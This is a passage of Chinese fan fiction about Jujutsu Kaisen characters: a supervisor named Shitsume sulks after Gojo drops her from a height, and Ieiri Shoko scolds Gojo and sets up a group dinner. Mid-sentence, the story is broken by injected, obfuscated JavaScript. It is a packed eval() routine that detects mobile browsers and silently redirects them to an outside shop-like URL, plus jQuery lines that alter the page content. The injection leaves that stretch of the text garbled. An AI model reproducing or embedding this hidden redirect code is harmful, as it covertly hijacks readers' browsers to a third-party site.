东京的初夏午后,阳光带着几分草木蒸腾的暑意。时雨现在所在的宅邸是来到东京后尾崎葵为她挑选的。住宅区地理位置便捷,恰到好处地隐于闹市,又因为大多是独栋的洋房,每家每户都被灌木的围墙掩映,偷得闹市区的一隅宁静,只是偶尔能听到隔壁的幼崽在花园里一个字一个字往外蹦的咿呀学语声。
时雨大多时候都住在高专的宿舍里,方便及时接送五条悟和其他学生的任务,以及偶尔去家入硝子所在的医务室协助一些后勤的事项。但尾崎葵像是在她身上找到了养妹妹的乐趣,非常妥帖地为她安排了这座宅邸,给出的理由也非常无法拒绝——八房值得在一个有花园的宅邸偶尔出来透透风。
高专里术师众多,八房的咒力又未经注册,无法轻易放出。虽然除非召唤,八房大多时候都在父亲那边,但偶尔也会冒出来到时雨身边,确实有个独立的宅邸会更方便自由一些。
此刻的时雨,正坐在花园长廊的尽头,脚尖有一下没一下地伴着木地板上斑驳的树影晃动。八房化作了比一般的萨摩耶还要大上一两倍的巨犬身形,安静趴伏在时雨身侧,温热的皮毛随着呼吸起伏,心甘情愿地充当着时雨的大型靠垫。
时雨半靠在八房身上,半边侧脸埋在八房蓬松的毛发里,手也下意识捋着八房的毛发,视线却在和隔壁邻居家之间的围篱上失了焦。
时雨脑海里不受控制地回想起三天前在伏岩山那个令人恼火的“自由落体”。那一瞬间的失重感似乎还残留在她的身体里。快速下坠的时间大约只有十秒,哪怕明知五条悟不会放任她摔死,她仍旧在短暂的大脑空白后强行专注捕捉着空气的脉络。
那本该在千百次的锻炼中逐渐熟悉的精细咒力控制,被浓缩成了十秒钟的极限课堂。在急速下坠中捕捉风的轨迹,对自身下落时间的控制,周围风的反向流动以保持平衡……
当脚尖轻轻落入落叶堆的刹那,强撑着酸软的膝盖,时雨心跳的跳动声鼓噪地像是在脑海里鸣钟。
虽然有惊无险,但时雨还是在某位无良教师带着得逞的笑意轻巧地朝着她啪啪鼓掌、没心没肺地说着“这不是一下子就学会了嘛”的时候,紧绷着一张血色不足的脸扭过了头。
一路沉默着将五条悟送回高专,对于某人一贯的插科打诨都秉承了不接茬的态度,甚至在高专门口放下五条悟后就开车离开,趁着正好没有给她安排什么任务的档口以“休假”为由躲在了东京的宅邸中,连五条悟发来的消息都没有回复,只是公事公办地上交了一份任务报告。
时雨鼓嘴,无聊地吹着八房背上纯白的毛,对着他自言自语,“我是不是有点反应过度了?”
八房抬起头,紫罗兰色的眼眸安静地注视着时雨,白色的长尾悠闲地扫了一扫。
时雨整张脸埋进八房背上,狠狠蹭了蹭,在从小陪着她长大的八房面前露出了几分孩子气,“工作明明不应该有情绪的。”
半晌,在逐渐高悬的日头下,时雨起身走进厨房,想随便找些点心垫垫肚子,晚上再出门去觅食。只是打开冰箱,里面空空如也——她这几天都是敷衍地靠外卖解决了自己的用餐,根本没剩下什么多余的东西。
八房跟着进了屋,沉默地看了眼时雨的冰箱之后安静地盯着她,没有表情的脸上被时雨品出了几分来自家长的压迫感。
时雨心虚地挠挠脸,“不许和爸爸告状。”
忽然想起那天尾崎葵托尾崎瑛转交的点心,时雨翻了翻那天回来后就扔在客厅沙发上没有动过的背包,并没有找到那个牛皮纸袋。
时雨愣了两秒,回想起来。那天在伏岩山,五条悟嚷嚷着想吃甜点,她没好气地把整袋点心都随手塞给了五条悟。想来那袋原本该属于她的松饼,此刻早就在某个男人的胃里化成了多巴胺。
算了,就当是学费了。
这种思绪一旦蔓延便有些不可收拾,直到这种因短暂休假而带来的清净被一通来自家入硝子的简讯打破。
「家入硝子:今晚7点,新宿‘二重奏’居酒屋聚餐。七海和歌姬他们也来,带着辅助监督们一起。」
与此同时,高专的医务室里弥漫着一股略带苦味的烟草气息。家入硝子咬着一根没有点燃的烟,神色倦怠地整理着药柜,余光扫到瘫在她的办公椅上不停转圈的五条悟。
这位最强咒术师已经在她这里赖了半个小时了,一会儿把她的人体骨骼模型摆成奇怪的造型,一会儿又无聊地翻弄着她书架上的书籍,把原本属于她的静谧空间搅得心烦气躁。
“所以,你今天到底来干什么的,五条?”家入硝子放下手中的东西,忍无可忍地敲了敲桌子,抽出打火机点燃了自己口中的烟。
那些因为五条在场而略微收敛的烟瘾,终究是没有压住。
“硝子,最近高专的辅助监督们是不是都很忙?”五条悟反向跨坐在她的椅子上,停下了转圈,下巴搁置在椅背上,语气懒洋洋中夹着几分真切的困惑,“比如,忙到连回复上司简讯的时间都没有的那种?”
家入硝子吐出一口烟,毫不留情地拆穿他:“最近刚进入夏天,还没到咒灵最高发的时期,最近的大多数任务都击中在京都和北海道。伊地知刚才还路过帮我搬了三箱生理盐水。至于里见,她这两天不是休假?你这种连休息日都会给学生发骚扰信息的家伙,理解不了也是正常的。”
在这认识了十余年的好友面前,五条悟破天荒地没有反嘴,只是小声嘟囔着,“我也没想到她会这么生气嘛……”
“她?”家入硝子晃动的烟停顿片刻,捕捉到了意料之外的字眼,“你是说里见?”
她上下打量了一圈五条悟,忽然抽出一把客椅,摆到五条悟面前坐下,翘着腿摆出了一副好整以暇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290095|198490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的聆听模样,“虽然早就知道你是个人渣没错,但居然连那看上去脾气很好的后辈也能够惹生气?做了什么了?”
五条悟心虚地轻咳了一声,简练地概括了下那天在伏岩山的情况。
“所以说——”硝子挑眉,试图理解,“你把一个辅助监督,从数百米高的地方扔了下去,还指望人家对你和颜悦色?”
她冷笑了一声,一锤定音:“活该。”
“我只是想看看她能够做到什么程度,而且再怎么样也不会放任她真的摔到嘛。”五条悟委屈,“明明前面因为咒灵受伤都没有生气,结果……”
“你是咒灵吗?”家入硝子没耐心地打断,又吐了口烟圈,“多少是被信任着的伙伴吧?明明可以解释几句征得同意,偏偏要做出这种暴君一样的独裁决定,里见可不是你那些习惯了被你折腾的倒霉学生。”
信任着的伙伴……
五条悟撇嘴,罕见地陷入了沉默。
为什么会没有解释呢?
他想起那天拿着棉球替时雨消毒的时候,看到她莹润的肩头,和肩头粘上了伤口血渍而显得格外刺眼的一粒小痣。
还有在高空揽着少女的腰肢时,下意识感受到的弧度,和隔着单薄的T恤的真实体温。
只是瞬间的恍惚和动摇,却像是把他带进了一些久违的绮思,所以脑海一半空白地只记得自己的初衷,忘了一些成年人更体面的说法。
五条悟不说话的时候,线条流畅的侧脸搭配上冷白的头发,多少会显得几分锐利的冷淡。
他只是沉吟了片刻,突然站起身,迈着修长的腿大步跨到硝子身前,弯腰将手直接搭在了她的肩膀上。
“你干嘛?”家入硝子一脸嫌弃。
五条悟沉默了三秒,将六眼集中回了自己身上,精准地捕捉着所有的生理反馈。骨骼密度、咒力流动、体温……都不过是再寻常不过的人体数据,没有那种仿佛有谁在胸腔里放了一把仙女棒一样的奇妙悸动和绮念。
他若有所思地收回手,退后一步,“没事,确认一下而已。”
“硝子,今晚是不是七海和猪野都在东京,歌姬也来出任务了是吧?不如今晚聚餐吧?”五条悟忽然思维跳跃地提议,恢复了那副散漫而肆意的笑容,“叫上辅助监督一起怎么样?那种吵闹的居酒屋最解压了。记得用你的名义发简讯哦,毕竟是我的话,不然七海和歌姬一定会拒绝的。”
——这不是挺有自知之明的嘛。
看着五条悟挥挥手离开的背影,家入硝子掐灭手里的烟,在烟雾缭绕中若有所思。
过了片刻,她拿起手机,给几个常年被五条悟折腾的受害者群发了聚餐邀请。
想了想,还是很有道德地给发向时雨的消息多加了一句备注——
「五条也会来。不想来的话也没关系,不用勉强。」